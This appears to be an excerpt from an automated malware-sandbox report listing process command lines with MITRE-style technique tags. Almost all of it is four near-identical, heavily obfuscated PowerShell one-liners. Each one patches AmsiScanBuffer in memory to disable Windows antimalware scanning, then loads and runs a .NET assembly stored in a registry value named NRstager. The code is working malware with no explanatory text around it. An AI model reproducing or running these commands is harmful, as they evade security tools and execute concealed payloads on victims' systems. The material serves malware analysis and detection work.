C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -Command ""function Local:rWnrduPdctqQ{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$nGSWVhzYzfouAo,[Parameter(Position=1)][Type]$fOfjpCQYDm)$qnVQdVmuPHu=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+[Char](82)+''+'e'+''+'f'+''+'l'+''+'e'+''+'c'+''+[Char](116)+''+[Char](101)+''+[Char](100)+''+[Char](68)+'ele'+[Char](103)+''+'a'+'t'+[Char](101)+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+'I'+'n'+'M'+''+[Char](101)+''+[Char](109)+''+[Char](111)+'r'+[Char](121)+'M'+'o'+''+'d'+''+[Char](117)+''+'l'+''+[Char](101)+'',$False).DefineType(''+[Char](77)+'y'+'D'+''+[Char](101)+''+[Char](108)+''+[Char](101)+''+'g'+'ate'+'T'+''+[Char](121)+''+[Char](112)+''+[Char](101)+'',''+'C'+''+'l'+''+[Char](97)+''+[Char](115)+''+[Char](115)+''+','+''+'P'+''+[Char](117)+'b'+'l'+''+'i'+''+[Char](99)+','+'S'+''+[Char](101)+''+[Char](97)+''+[Char](108)+''+[Char](101)+''+[Char](100)+''+[Char](44)+'A'+'n'+'si'+[Char](67)+''+[Char](108)+''+[Char](97)+''+[Char](115)+''+[Char](115)+''+[Char](44)+'A'+[Char](117)+''+[Char](116)+'o'+[Char](67)+''+[Char](108)+''+'a'+'s'+[Char](115)+'',[MulticastDelegate]);$qnVQdVmuPHu.DefineConstructor(''+[Char](82)+''+[Char](84)+''+[Char](83)+''+[Char](112)+''+[Char](101)+''+'c'+''+[Char](105)+''+[Char](97)+''+'l'+''+[Char](78)+''+[Char](97)+''+'m'+''+[Char](101)+',HideB'+[Char](121)+''+[Char](83)+''+'i'+'g'+[Char](44)+''+'P'+'u'+[Char](98)+''+[Char](108)+'ic',[Reflection.CallingConventions]::Standard,$nGSWVhzYzfouAo).SetImplementationFlags(''+[Char](82)+'u'+[Char](110)+'t'+[Char](105)+''+[Char](109)+''+'e'+',Ma'+'n'+''+'a'+''+[Char](103)+'e'+'d'+'');$qnVQdVmuPHu.DefineMethod(''+[Char](73)+''+[Char](110)+'v'+'o'+''+'k'+''+[Char](101)+'','P'+[Char](117)+''+'b'+''+'l'+''+'i'+''+[Char](99)+''+[Char](44)+''+[Char](72)+''+[Char](105)+''+'d'+''+'e'+'B'+'y'+''+[Char](83)+''+[Char](105)+'g'+','+''+[Char](78)+''+'e'+''+[Char](119)+'S'+'l'+''+[Char](111)+''+'t'+','+'V'+''+'i'+''+[Char](114)+''+[Char](116)+''+[Char](117)+''+[Char](97)+''+'l'+'',$fOfjpCQYDm,$nGSWVhzYzfouAo).SetImplementationFlags(''+'R'+''+[Char](117)+''+[Char](110)+'ti'+[Char](109)+''+[Char](101)+''+[Char](44)+''+[Char](77)+''+[Char](97)+''+[Char](110)+''+[Char](97)+''+[Char](103)+''+[Char](101)+''+[Char](100)+'');Write-Output $qnVQdVmuPHu.CreateType();}$NPPYDiOeguIAm=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals('Sy'+[Char](115)+''+[Char](116)+'e'+'m'+'.d'+[Char](108)+''+'l'+'')}).GetType(''+'M'+'ic'+[Char](114)+'o'+'s'+'o'+'f'+''+[Char](116)+''+[Char](46)+'Wi'+[Char](110)+''+'3'+''+[Char](50)+''+[Char](46)+'Un'+[Char](115)+''+[Char](97)+''+[Char](102)+''+[Char](101)+''+[Char](78)+''+[Char](97)+''+[Char](116)+'iv'+[Char](101)+''+'M'+''+[Char](101)+'t'+[Char](104)+''+[Char](111)+''+[Char](100)+''+[Char](115)+'');$tzkNQJkaXWgNwU=$NPPYDiOeguIAm.GetMethod(''+[Char](71)+''+[Char](101)+'t'+[Char](80)+''+[Char](114)+''+[Char](111)+''+[Char](99)+'A'+'d'+''+[Char](100)+''+[Char](114)+''+'e'+''+[Char](115)+''+'s'+'',[Reflection.BindingFlags](''+'P'+''+[Char](117)+''+'b'+'l'+[Char](105)+'c'+[Char](44)+'St'+'a'+''+'t'+''+[Char](105)+'c'),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$atqQoErDofpxuwoFsXS=rWnrduPdctqQ @([String])([IntPtr]);$dYXuTPzKDCshEPJUBKTjUS=rWnrduPdctqQ @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$ovCvpeETWRu=$NPPYDiOeguIAm.GetMethod(''+'G'+'e'+[Char](116)+''+'M'+'o'+'d'+''+[Char](117)+''+'l'+'e'+[Char](72)+''+[Char](97)+'ndl'+[Char](101)+'').Invoke($Null,@([Object](''+'k'+''+[Char](101)+''+[Char](114)+''+[Char](110)+''+[Char](101)+''+[Char](108)+''+[Char](51)+'2.d'+'l'+''+[Char](108)+'')));$mEUizvuMdzFjWS=$tzkNQJkaXWgNwU.Invoke($Null,@([Object]$ovCvpeETWRu,[Object]('L'+[Char](111)+'ad'+[Char](76)+''+[Char](105)+''+[Char](98)+''+[Char](114)+''+'a'+''+[Char](114)+''+'y'+''+[Char](65)+'')));$tLillFAonOcSRWeXm=$tzkNQJkaXWgNwU.Invoke($Null,@([Object]$ovCvpeETWRu,[Object](''+[Char](86)+'i'+[Char](114)+''+[Char](116)+''+[Char](117)+''+'a'+''+[Char](108)+''+'P'+''+[Char](114)+''+'o'+''+'t'+''+[Char](101)+''+[Char](99)+'t')));$NnzNVzp=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($mEUizvuMdzFjWS,$atqQoErDofpxuwoFsXS).Invoke(''+'a'+''+[Char](109)+'si'+'.'+'dl'+[Char](108)+'');$cUNyRKTvbDLZBynrO=$tzkNQJkaXWgNwU.Invoke($Null,@([Object]$NnzNVzp,[Object]('AmsiS'+[Char](99)+''+[Char](97)+''+[Char](110)+''+'B'+''+[Char](117)+''+[Char](102)+'f'+[Char](101)+''+[Char](114)+'')));$IscIqYoefz=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($tLillFAonOcSRWeXm,$dYXuTPzKDCshEPJUBKTjUS).Invoke($cUNyRKTvbDLZBynrO,[uint32]8,4,[ref]$IscIqYoefz);[Runtime.InteropServices.Marshal]::Copy([Byte[]]([Byte](198-67),[Byte](23+211),[Byte](244-244),[Byte](132+52),[Byte](51+36),[Byte](47-47),[Byte](178-171),[Byte](173-45),[Byte](141-4),[Byte](146+64),[Byte](88+107),[Byte](51+80),[Byte](141+94),[Byte](244-244)),0,$cUNyRKTvbDLZBynrO,0+14);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($tLillFAonOcSRWeXm,$dYXuTPzKDCshEPJUBKTjUS).Invoke($cUNyRKTvbDLZBynrO,[uint32]8,0x20,[ref]$IscIqYoefz);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey('SOF'+'T'+''+'W'+'A'+[Char](82)+''+[Char](69)+'').GetValue('N'+[Char](82)+''+[Char](115)+''+'t'+''+[Char](97)+'ge'+[Char](114)+'')).EntryPoint.Invoke($Null,$Null)""2⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\system32\cmd.execmd.exe /c "powershell.exe -Command ""function Local:tilYwhENNgTX{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$gOrhXrGYRekgGu,[Parameter(Position=1)][Type]$hxVNHqfFkh)$JlqvOBKUuJr=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+[Char](82)+''+'e'+''+'f'+''+'l'+''+'e'+''+'c'+''+[Char](116)+'e'+[Char](100)+''+[Char](68)+''+'e'+''+[Char](108)+''+[Char](101)+''+'g'+''+[Char](97)+''+[Char](116)+''+[Char](101)+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+[Char](73)+''+'n'+'M'+'e'+'m'+[Char](111)+''+[Char](114)+''+[Char](121)+''+[Char](77)+''+'o'+'d'+[Char](117)+''+[Char](108)+'e',$False).DefineType(''+[Char](77)+''+[Char](121)+''+'D'+''+[Char](101)+''+[Char](108)+''+[Char](101)+''+[Char](103)+'a'+[Char](116)+''+[Char](101)+''+'T'+''+[Char](121)+''+[Char](112)+''+[Char](101)+'',''+'C'+''+[Char](108)+''+[Char](97)+''+[Char](115)+''+'s'+','+[Char](80)+'u'+'b'+''+'l'+''+'i'+''+[Char](99)+''+','+''+'S'+''+[Char](101)+''+[Char](97)+'le'+[Char](100)+','+'A'+'n'+[Char](115)+''+[Char](105)+''+[Char](67)+''+[Char](108)+''+'a'+''+[Char](115)+''+'s'+''+[Char](44)+'A'+[Char](117)+'t'+[Char](111)+'Cl'+[Char](97)+''+[Char](115)+''+'s'+'',[MulticastDelegate]);$JlqvOBKUuJr.DefineConstructor(''+[Char](82)+''+[Char](84)+''+'S'+''+[Char](112)+''+'e'+''+[Char](99)+''+'i'+'a'+[Char](108)+''+[Char](78)+'a'+'m'+''+[Char](101)+''+[Char](44)+''+[Char](72)+''+'i'+''+[Char](100)+'e'+[Char](66)+''+[Char](121)+''+[Char](83)+'i'+[Char](103)+','+[Char](80)+''+[Char](117)+'bl'+[Char](105)+''+[Char](99)+'',[Reflection.CallingConventions]::Standard,$gOrhXrGYRekgGu).SetImplementationFlags('R'+[Char](117)+''+'n'+''+[Char](116)+''+[Char](105)+'m'+'e'+''+','+'M'+[Char](97)+''+'n'+''+'a'+'ge'+'d'+'');$JlqvOBKUuJr.DefineMethod('Invo'+[Char](107)+''+[Char](101)+'',''+'P'+''+[Char](117)+''+[Char](98)+'l'+[Char](105)+''+'c'+',Hi'+[Char](100)+''+[Char](101)+''+'B'+''+[Char](121)+''+[Char](83)+''+[Char](105)+''+[Char](103)+''+','+''+[Char](78)+'ewS'+[Char](108)+''+'o'+''+'t'+''+[Char](44)+''+[Char](86)+'i'+'r'+''+[Char](116)+'ua'+[Char](108)+'',$hxVNHqfFkh,$gOrhXrGYRekgGu).SetImplementationFlags(''+[Char](82)+''+[Char](117)+'nt'+[Char](105)+''+[Char](109)+''+[Char](101)+','+'M'+'a'+'n'+''+'a'+''+[Char](103)+'ed');Write-Output $JlqvOBKUuJr.CreateType();}$vNjXOFyOvfJNm=([AppDomain]::CurrentDomain.GetAssemblies()^|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals('S'+[Char](121)+'s'+'t'+''+[Char](101)+''+[Char](109)+''+[Char](46)+'d'+[Char](108)+''+[Char](108)+'')}).GetType(''+[Char](77)+''+[Char](105)+''+'c'+''+'r'+''+[Char](111)+''+[Char](115)+''+'o'+''+[Char](102)+''+[Char](116)+''+[Char](46)+''+[Char](87)+'i'+[Char](110)+''+[Char](51)+''+'2'+''+[Char](46)+''+'U'+''+[Char](110)+''+[Char](115)+''+[Char](97)+''+'f'+'e'+[Char](78)+''+[Char](97)+''+[Char](116)+''+[Char](105)+''+[Char](118)+'e'+[Char](77)+''+'e'+''+[Char](116)+''+'h'+''+'o'+''+'d'+''+[Char](115)+'');$pXImTqmHweuFNq=$vNjXOFyOvfJNm.GetMethod('G'+[Char](101)+''+[Char](116)+'Pr'+[Char](111)+''+'c'+''+[Char](65)+''+[Char](100)+''+'d'+'r'+[Char](101)+''+[Char](115)+'s',[Reflection.BindingFlags](''+[Char](80)+''+[Char](117)+'b'+[Char](108)+''+[Char](105)+''+[Char](99)+''+','+''+[Char](83)+''+'t'+''+[Char](97)+''+'t'+''+'i'+'c'),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$KVAzefeIyvCAkmvQAMC=tilYwhENNgTX @([String])([IntPtr]);$YrkcaSaMJBPUWCgXGIwNeb=tilYwhENNgTX @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$AmmvGhmLkLP=$vNjXOFyOvfJNm.GetMethod(''+[Char](71)+'etM'+[Char](111)+''+[Char](100)+''+[Char](117)+'l'+'e'+'H'+'a'+''+[Char](110)+''+'d'+''+[Char](108)+'e').Invoke($Null,@([Object](''+[Char](107)+''+[Char](101)+''+[Char](114)+''+'n'+''+[Char](101)+''+[Char](108)+''+[Char](51)+''+[Char](50)+''+[Char](46)+''+[Char](100)+''+'l'+''+[Char](108)+'')));$SgHWHNBsbTqGft=$pXImTqmHweuFNq.Invoke($Null,@([Object]$AmmvGhmLkLP,[Object](''+[Char](76)+''+[Char](111)+''+[Char](97)+''+[Char](100)+''+'L'+''+[Char](105)+''+[Char](98)+'r'+[Char](97)+''+'r'+'y'+'A'+'')));$CUULGsNNTIfiFPLJG=$pXImTqmHweuFNq.Invoke($Null,@([Object]$AmmvGhmLkLP,[Object](''+'V'+''+[Char](105)+''+[Char](114)+'tu'+[Char](97)+''+[Char](108)+''+'P'+''+'r'+''+[Char](111)+''+'t'+''+[Char](101)+'c'+[Char](116)+'')));$GUnDPvV=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($SgHWHNBsbTqGft,$KVAzefeIyvCAkmvQAMC).Invoke(''+[Char](97)+'m'+[Char](115)+''+'i'+''+'.'+''+'d'+'ll');$gqUnOoEvntmkFdPJl=$pXImTqmHweuFNq.Invoke($Null,@([Object]$GUnDPvV,[Object](''+'A'+''+[Char](109)+'s'+[Char](105)+'Sc'+'a'+''+[Char](110)+'B'+[Char](117)+''+[Char](102)+'f'+'e'+''+'r'+'')));$rskZRHZvYU=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CUULGsNNTIfiFPLJG,$YrkcaSaMJBPUWCgXGIwNeb).Invoke($gqUnOoEvntmkFdPJl,[uint32]8,4,[ref]$rskZRHZvYU);[Runtime.InteropServices.Marshal]::Copy([Byte[]]([Byte](207-70),[Byte](251-59),[Byte](114+70),[Byte](116-29),[Byte](3-3),[Byte](85-78),[Byte](170-42),[Byte](12+119),[Byte](179+55),[Byte](2-2),[Byte](106+89),[Byte](148-17),[Byte](215-22),[Byte](178-178)),0,$gqUnOoEvntmkFdPJl,200-186);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CUULGsNNTIfiFPLJG,$YrkcaSaMJBPUWCgXGIwNeb).Invoke($gqUnOoEvntmkFdPJl,[uint32]8,0x20,[ref]$rskZRHZvYU);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey('S'+'O'+''+[Char](70)+'TW'+[Char](65)+''+[Char](82)+'E').GetValue(''+'N'+'R'+[Char](115)+''+'t'+'a'+[Char](103)+'e'+[Char](114)+'')).EntryPoint.Invoke($Null,$Null)"""1⤵
- Executes a command shell one-liner
- System Time Discovery
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -Command ""function Local:tilYwhENNgTX{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$gOrhXrGYRekgGu,[Parameter(Position=1)][Type]$hxVNHqfFkh)$JlqvOBKUuJr=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+[Char](82)+''+'e'+''+'f'+''+'l'+''+'e'+''+'c'+''+[Char](116)+'e'+[Char](100)+''+[Char](68)+''+'e'+''+[Char](108)+''+[Char](101)+''+'g'+''+[Char](97)+''+[Char](116)+''+[Char](101)+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+[Char](73)+''+'n'+'M'+'e'+'m'+[Char](111)+''+[Char](114)+''+[Char](121)+''+[Char](77)+''+'o'+'d'+[Char](117)+''+[Char](108)+'e',$False).DefineType(''+[Char](77)+''+[Char](121)+''+'D'+''+[Char](101)+''+[Char](108)+''+[Char](101)+''+[Char](103)+'a'+[Char](116)+''+[Char](101)+''+'T'+''+[Char](121)+''+[Char](112)+''+[Char](101)+'',''+'C'+''+[Char](108)+''+[Char](97)+''+[Char](115)+''+'s'+','+[Char](80)+'u'+'b'+''+'l'+''+'i'+''+[Char](99)+''+','+''+'S'+''+[Char](101)+''+[Char](97)+'le'+[Char](100)+','+'A'+'n'+[Char](115)+''+[Char](105)+''+[Char](67)+''+[Char](108)+''+'a'+''+[Char](115)+''+'s'+''+[Char](44)+'A'+[Char](117)+'t'+[Char](111)+'Cl'+[Char](97)+''+[Char](115)+''+'s'+'',[MulticastDelegate]);$JlqvOBKUuJr.DefineConstructor(''+[Char](82)+''+[Char](84)+''+'S'+''+[Char](112)+''+'e'+''+[Char](99)+''+'i'+'a'+[Char](108)+''+[Char](78)+'a'+'m'+''+[Char](101)+''+[Char](44)+''+[Char](72)+''+'i'+''+[Char](100)+'e'+[Char](66)+''+[Char](121)+''+[Char](83)+'i'+[Char](103)+','+[Char](80)+''+[Char](117)+'bl'+[Char](105)+''+[Char](99)+'',[Reflection.CallingConventions]::Standard,$gOrhXrGYRekgGu).SetImplementationFlags('R'+[Char](117)+''+'n'+''+[Char](116)+''+[Char](105)+'m'+'e'+''+','+'M'+[Char](97)+''+'n'+''+'a'+'ge'+'d'+'');$JlqvOBKUuJr.DefineMethod('Invo'+[Char](107)+''+[Char](101)+'',''+'P'+''+[Char](117)+''+[Char](98)+'l'+[Char](105)+''+'c'+',Hi'+[Char](100)+''+[Char](101)+''+'B'+''+[Char](121)+''+[Char](83)+''+[Char](105)+''+[Char](103)+''+','+''+[Char](78)+'ewS'+[Char](108)+''+'o'+''+'t'+''+[Char](44)+''+[Char](86)+'i'+'r'+''+[Char](116)+'ua'+[Char](108)+'',$hxVNHqfFkh,$gOrhXrGYRekgGu).SetImplementationFlags(''+[Char](82)+''+[Char](117)+'nt'+[Char](105)+''+[Char](109)+''+[Char](101)+','+'M'+'a'+'n'+''+'a'+''+[Char](103)+'ed');Write-Output $JlqvOBKUuJr.CreateType();}$vNjXOFyOvfJNm=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals('S'+[Char](121)+'s'+'t'+''+[Char](101)+''+[Char](109)+''+[Char](46)+'d'+[Char](108)+''+[Char](108)+'')}).GetType(''+[Char](77)+''+[Char](105)+''+'c'+''+'r'+''+[Char](111)+''+[Char](115)+''+'o'+''+[Char](102)+''+[Char](116)+''+[Char](46)+''+[Char](87)+'i'+[Char](110)+''+[Char](51)+''+'2'+''+[Char](46)+''+'U'+''+[Char](110)+''+[Char](115)+''+[Char](97)+''+'f'+'e'+[Char](78)+''+[Char](97)+''+[Char](116)+''+[Char](105)+''+[Char](118)+'e'+[Char](77)+''+'e'+''+[Char](116)+''+'h'+''+'o'+''+'d'+''+[Char](115)+'');$pXImTqmHweuFNq=$vNjXOFyOvfJNm.GetMethod('G'+[Char](101)+''+[Char](116)+'Pr'+[Char](111)+''+'c'+''+[Char](65)+''+[Char](100)+''+'d'+'r'+[Char](101)+''+[Char](115)+'s',[Reflection.BindingFlags](''+[Char](80)+''+[Char](117)+'b'+[Char](108)+''+[Char](105)+''+[Char](99)+''+','+''+[Char](83)+''+'t'+''+[Char](97)+''+'t'+''+'i'+'c'),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$KVAzefeIyvCAkmvQAMC=tilYwhENNgTX @([String])([IntPtr]);$YrkcaSaMJBPUWCgXGIwNeb=tilYwhENNgTX @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$AmmvGhmLkLP=$vNjXOFyOvfJNm.GetMethod(''+[Char](71)+'etM'+[Char](111)+''+[Char](100)+''+[Char](117)+'l'+'e'+'H'+'a'+''+[Char](110)+''+'d'+''+[Char](108)+'e').Invoke($Null,@([Object](''+[Char](107)+''+[Char](101)+''+[Char](114)+''+'n'+''+[Char](101)+''+[Char](108)+''+[Char](51)+''+[Char](50)+''+[Char](46)+''+[Char](100)+''+'l'+''+[Char](108)+'')));$SgHWHNBsbTqGft=$pXImTqmHweuFNq.Invoke($Null,@([Object]$AmmvGhmLkLP,[Object](''+[Char](76)+''+[Char](111)+''+[Char](97)+''+[Char](100)+''+'L'+''+[Char](105)+''+[Char](98)+'r'+[Char](97)+''+'r'+'y'+'A'+'')));$CUULGsNNTIfiFPLJG=$pXImTqmHweuFNq.Invoke($Null,@([Object]$AmmvGhmLkLP,[Object](''+'V'+''+[Char](105)+''+[Char](114)+'tu'+[Char](97)+''+[Char](108)+''+'P'+''+'r'+''+[Char](111)+''+'t'+''+[Char](101)+'c'+[Char](116)+'')));$GUnDPvV=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($SgHWHNBsbTqGft,$KVAzefeIyvCAkmvQAMC).Invoke(''+[Char](97)+'m'+[Char](115)+''+'i'+''+'.'+''+'d'+'ll');$gqUnOoEvntmkFdPJl=$pXImTqmHweuFNq.Invoke($Null,@([Object]$GUnDPvV,[Object](''+'A'+''+[Char](109)+'s'+[Char](105)+'Sc'+'a'+''+[Char](110)+'B'+[Char](117)+''+[Char](102)+'f'+'e'+''+'r'+'')));$rskZRHZvYU=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CUULGsNNTIfiFPLJG,$YrkcaSaMJBPUWCgXGIwNeb).Invoke($gqUnOoEvntmkFdPJl,[uint32]8,4,[ref]$rskZRHZvYU);[Runtime.InteropServices.Marshal]::Copy([Byte[]]([Byte](207-70),[Byte](251-59),[Byte](114+70),[Byte](116-29),[Byte](3-3),[Byte](85-78),[Byte](170-42),[Byte](12+119),[Byte](179+55),[Byte](2-2),[Byte](106+89),[Byte](148-17),[Byte](215-22),[Byte](178-178)),0,$gqUnOoEvntmkFdPJl,200-186);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CUULGsNNTIfiFPLJG,$YrkcaSaMJBPUWCgXGIwNeb).Invoke($gqUnOoEvntmkFdPJl,[uint32]8,0x20,[ref]$rskZRHZvYU);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey('S'+'O'+''+[Char](70)+'TW'+[Char](65)+''+[Char](82)+'E').GetValue(''+'N'+'R'+[Char](115)+''+'t'+'a'+[Char](103)+'e'+[Char](114)+'')).EntryPoint.Invoke($Null,$Null)""2⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\system32\cmd.execmd.exe /c "powershell.exe -Command ""function Local:vtwEYeisbxfB{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$NZxmPLNmlipOWj,[Parameter(Position=1)][Type]$jrUQPJRMjs)$CXNATovVAfG=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+[Char](82)+'e'+[Char](102)+'l'+[Char](101)+'ct'+[Char](101)+''+[Char](100)+'D'+'e'+''+[Char](108)+''+[Char](101)+''+[Char](103)+''+'a'+''+[Char](116)+''+'e'+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+[Char](73)+''+'n'+''+[Char](77)+'em'+[Char](111)+''+[Char](114)+'y'+[Char](77)+''+'o'+''+[Char](100)+'u'+[Char](108)+''+'e'+'',$False).DefineType(''+[Char](77)+''+'y'+''+[Char](68)+''+'e'+''+[Char](108)+'e'+[Char](103)+''+[Char](97)+''+[Char](116)+''+'e'+''+[Char](84)+'y'+'p'+''+'e'+'',''+'C'+''+[Char](108)+''+[Char](97)+'s'+[Char](115)+''+','+''+[Char](80)+''+[Char](117)+'blic'+[Char](44)+''+[Char](83)+'e'+[Char](97)+''+'l'+''+'e'+'d'+[Char](44)+''+'A'+''+[Char](110)+'s'+'i'+''+[Char](67)+''+[Char](108)+''+[Char](97)+''+[Char](115)+''+[Char](115)+''+[Char](44)+'A'+[Char](117)+'to'+[Char](67)+'l'+[Char](97)+'ss',[MulticastDelegate]);$CXNATovVAfG.DefineConstructor('R'+[Char](84)+''+[Char](83)+''+'p'+''+[Char](101)+''+'c'+''+'i'+'a'+[Char](108)+''+'N'+''+[Char](97)+''+'m'+''+[Char](101)+''+[Char](44)+''+'H'+''+'i'+''+'d'+'e'+[Char](66)+'yS'+[Char](105)+''+'g'+''+','+'P'+'u'+''+'b'+''+'l'+''+'i'+''+[Char](99)+'',[Reflection.CallingConventions]::Standard,$NZxmPLNmlipOWj).SetImplementationFlags(''+[Char](82)+'u'+[Char](110)+''+[Char](116)+''+'i'+'m'+[Char](101)+',M'+[Char](97)+'n'+[Char](97)+''+'g'+''+[Char](101)+''+[Char](100)+'');$CXNATovVAfG.DefineMethod(''+[Char](73)+''+'n'+'v'+[Char](111)+''+'k'+''+[Char](101)+'',''+[Char](80)+''+[Char](117)+''+'b'+''+'l'+''+[Char](105)+''+'c'+''+[Char](44)+''+[Char](72)+'i'+[Char](100)+'e'+[Char](66)+'y'+'S'+''+[Char](105)+''+[Char](103)+''+[Char](44)+''+[Char](78)+'ew'+[Char](83)+''+[Char](108)+''+[Char](111)+''+'t'+''+[Char](44)+''+[Char](86)+''+[Char](105)+''+'r'+''+[Char](116)+''+[Char](117)+''+[Char](97)+'l',$jrUQPJRMjs,$NZxmPLNmlipOWj).SetImplementationFlags('R'+[Char](117)+'nt'+'i'+''+[Char](109)+''+[Char](101)+''+[Char](44)+''+'M'+''+'a'+'n'+'a'+''+'g'+''+[Char](101)+'d');Write-Output $CXNATovVAfG.CreateType();}$HFijAUqxlTWyJ=([AppDomain]::CurrentDomain.GetAssemblies()^|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+[Char](83)+''+[Char](121)+'s'+[Char](116)+'e'+'m'+''+'.'+''+[Char](100)+''+[Char](108)+'l')}).GetType(''+'M'+''+[Char](105)+'c'+'r'+'o'+'s'+'of'+'t'+''+[Char](46)+''+'W'+''+[Char](105)+''+[Char](110)+'32'+'.'+''+'U'+'n'+'s'+'a'+[Char](102)+''+[Char](101)+''+'N'+'a'+[Char](116)+'ive'+'M'+''+'e'+''+[Char](116)+'h'+[Char](111)+''+[Char](100)+''+[Char](115)+'');$mHCOMzxAcmuZRk=$HFijAUqxlTWyJ.GetMethod('G'+[Char](101)+''+'t'+''+[Char](80)+'r'+[Char](111)+''+'c'+''+[Char](65)+''+[Char](100)+''+'d'+'r'+'e'+''+'s'+'s',[Reflection.BindingFlags](''+[Char](80)+''+'u'+''+'b'+''+[Char](108)+'i'+[Char](99)+''+[Char](44)+'S'+[Char](116)+'a'+'t'+''+[Char](105)+''+[Char](99)+''),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$KfhOFvTjHaTIdJuNZFS=vtwEYeisbxfB @([String])([IntPtr]);$ZcImcCxVfPZomHyFdXOxgl=vtwEYeisbxfB @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$aGTmlWisBOH=$HFijAUqxlTWyJ.GetMethod(''+[Char](71)+''+[Char](101)+''+'t'+''+[Char](77)+''+[Char](111)+''+[Char](100)+''+[Char](117)+''+[Char](108)+'e'+'H'+''+[Char](97)+''+[Char](110)+'dl'+'e'+'').Invoke($Null,@([Object](''+[Char](107)+''+'e'+''+[Char](114)+''+[Char](110)+''+[Char](101)+''+'l'+'3'+'2'+'.'+[Char](100)+''+[Char](108)+''+[Char](108)+'')));$PlAcFRYYjQybeg=$mHCOMzxAcmuZRk.Invoke($Null,@([Object]$aGTmlWisBOH,[Object](''+'L'+''+[Char](111)+''+[Char](97)+''+'d'+'L'+[Char](105)+'br'+'a'+''+[Char](114)+''+[Char](121)+''+'A'+'')));$iwsLgkdMskgsTHSXm=$mHCOMzxAcmuZRk.Invoke($Null,@([Object]$aGTmlWisBOH,[Object](''+[Char](86)+''+'i'+''+[Char](114)+''+[Char](116)+'u'+'a'+''+[Char](108)+''+'P'+'r'+[Char](111)+''+'t'+''+'e'+''+[Char](99)+''+[Char](116)+'')));$pWrDDas=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($PlAcFRYYjQybeg,$KfhOFvTjHaTIdJuNZFS).Invoke(''+[Char](97)+'ms'+'i'+'.'+'d'+''+[Char](108)+''+[Char](108)+'');$OmafdEdmXMzYnAaQj=$mHCOMzxAcmuZRk.Invoke($Null,@([Object]$pWrDDas,[Object](''+[Char](65)+'m'+'s'+''+'i'+''+[Char](83)+'c'+'a'+''+'n'+''+[Char](66)+'uf'+[Char](102)+''+[Char](101)+''+'r'+'')));$yTTGjDnvTI=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($iwsLgkdMskgsTHSXm,$ZcImcCxVfPZomHyFdXOxgl).Invoke($OmafdEdmXMzYnAaQj,[uint32]8,4,[ref]$yTTGjDnvTI);[Runtime.InteropServices.Marshal]::Copy([Byte[]]([Byte](212-81),[Byte](79+114),[Byte](186-186),[Byte](99+85),[Byte](191-104),[Byte](192-192),[Byte](153-146),[Byte](44+84),[Byte](32+99),[Byte](40+194),[Byte](160-160),[Byte](231-36),[Byte](182-45),[Byte](116+94)),0,$OmafdEdmXMzYnAaQj,21-7);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($iwsLgkdMskgsTHSXm,$ZcImcCxVfPZomHyFdXOxgl).Invoke($OmafdEdmXMzYnAaQj,[uint32]8,0x20,[ref]$yTTGjDnvTI);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+[Char](83)+'OF'+[Char](84)+''+[Char](87)+'A'+[Char](82)+''+'E'+'').GetValue(''+[Char](78)+''+'R'+''+[Char](115)+''+[Char](116)+''+'a'+''+'g'+''+[Char](101)+''+[Char](114)+'')).EntryPoint.Invoke($Null,$Null)"""1⤵
- Executes a command shell one-liner
- System Time Discovery
-
